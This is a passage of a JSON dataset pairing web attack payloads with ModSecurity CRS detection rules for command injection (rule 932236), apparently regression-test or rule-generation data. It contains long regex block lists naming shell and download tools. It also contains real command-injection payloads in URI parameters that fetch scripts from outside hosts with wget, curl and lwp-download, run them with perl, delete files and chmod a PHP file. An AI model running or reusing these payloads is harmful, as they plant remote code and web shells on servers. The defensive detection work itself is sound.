(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "FP tasksListView" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\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ell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|k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(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "System Command Injection (932236) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=http://ricky.ilmerlodellarocca.com/upload.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;%20appa.jpg;perl%20appa.jpg;rm%20-rf%20appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;mv%20ca.php%20ca.php;chmod%20755%20ca.php" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }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\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?